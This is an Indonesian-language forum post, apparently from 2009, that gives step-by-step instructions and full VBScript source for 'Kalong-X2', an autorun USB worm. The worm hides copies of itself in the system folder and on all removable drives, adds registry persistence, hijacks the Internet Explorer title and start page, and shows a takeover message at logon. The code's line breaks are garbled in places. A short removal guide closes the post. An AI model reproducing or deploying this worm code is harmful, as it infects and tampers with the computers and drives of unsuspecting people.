raja_kuin
Master Administrators
 Jumlah posting : 473
Age : 40
Lokasi : TABALONG
NICK MIG33 : rj.k
NICK MIG33 : raja_kuin
NO HP : raja.kuin@gmail.com ( on FB )
FRIENDSTER : -
Registration date : 25.02.09
 | | Subyek: menghapus dan membuat virus AUTORUN tanpa antivirus Wed Mar 11, 2009 8:49 am | |
| #fullpost {display:none;} Adapun cara membuat virus autorun sebagai berikut
1. script coding pertama
[autorun]shellexecute=wscript.exe k4l0n6.sys.vbs
simpan coding tersebut dengan nama dan ekstensi file “autorun.inf” (tanpa tanda petik)
2. script coding kedua‘Kalong-X2‘Varian dari Kalong.VBSon error resume next
‘Dim kata-kata berikutdim rekur,syspath,windowpath,desades,longka,mf,isi,tf, kalong,nt,check,sd
’siapkan
isi autorun isi = “[autorun]” & vbcrlf &
“shellexecute=wscript.exe k4l0n6.sys.vbs”set longka =
createobject(”scripting.FileSystemObject”)set mf =
longka.getfile(Wscript.scriptFullname)dim text,sizesize = mf.sizecheck
= mf.drive.drivetypeset text = mf.openastextstream(1,-2)do while not
text.atendofstreamrekur = rekur & text.readlinerekur = rekur &
vbcrlfloopdo
 ‘buat file induk
Set windowpath =
longka.getspecialfolder(0)Set syspath = longka.getspecialfolder(1)set
tf = longka.getfile(syspath & “\recycle.vbs”)tf.attributes = 32set
tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)tf.write
rekurtf.closeset tf = longka.getfile(syspath &
“\recycle.vbs”)tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set
tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)tf.attributes
=32set tf=longka.createtextfile(desades.path
&”\k4l0n6.sys.vbs”,2,true)tf.write rekurtf.closeset
tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)tf.attributes = 39
set
tf =longka.getfile(desades.path &”\autorun.inf”)tf.attributes =
32set tf=longka.createtextfile(desades.path
&”\autorun.inf”,2,true)tf.write isitf.closeset tf =
longka.getfile(desades.path &”\autorun.inf”)tf.attributes=39end
ifnext
‘Manipulasi Registry
set kalong = createobject(”Wscript.Shell”)
‘Ubah IE Titlekalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: X2 ATTACK ::”
‘Ubah
tulisan pertama pada text box menu RUNkalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Explorer\RunMRU\a”, “KALONG-X2/1?kalong.RegWrite
“HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Explorer\RunMRU\MRUList”, “a”
‘Buat pesan saat
Windows Startupkalong.regwrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Winlogon\LegalNoticeCaption”, “KALONG-X2?kalong.RegWrite
“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Winlogon\LegalNoticeText”, “Komputer Anda Diambil Alih”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\Ageia”, syspath & “\recycle.vbs”
‘Ubah
Default Start Page Internet Explorerkalong.regwrite
“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page”, “http://www.vaksin.com”
‘Bonus
if check <> 1
thenWscript.sleep 200000end ifloop while check <> 1set sd =
createobject(”Wscript.shell”)sd.run windowpath & “\explorer.exe
/e,/select, ” & Wscript.scriptFullname
simpan coding tersebut dengan nama dan ekstensi file “k4l0n6.sys.vbs” (tanpa tanda petik)
ni caranya
secara
otomatis virus tersebut akan menyebar melalui flashdisk dan menginfeksi
komputer yang kita gunakan. Untuk mengetahui komputer terkena virus
autorun dapat menggunakan software iKnowPS sehingga akan terlihat
frekuensi tampilan kerja komputer yang terlihat sangat sibuk.
Adapun cara menanggulangi virus tersebut yaitu dengan cara
-
tekan menu Tools > Folder Options… > View > unchek Hide
Protected operating system files (Recommended) > yes > OK
- sehingga secara otomatis akan terlihat tampilan file virus yang terhidden tersebut
-
langkah selanjutnya yaitu dengan cara membuka dan mempelajari script
coding file virus tersebut. Dan mempelajari bagian-bagian mana saja
yang settingannya dirubah, terutama pada register editor (menu run >
ketik regedit > OK)
- setelah itu, file tersebut dihapus/di delete dari komputer | |
|
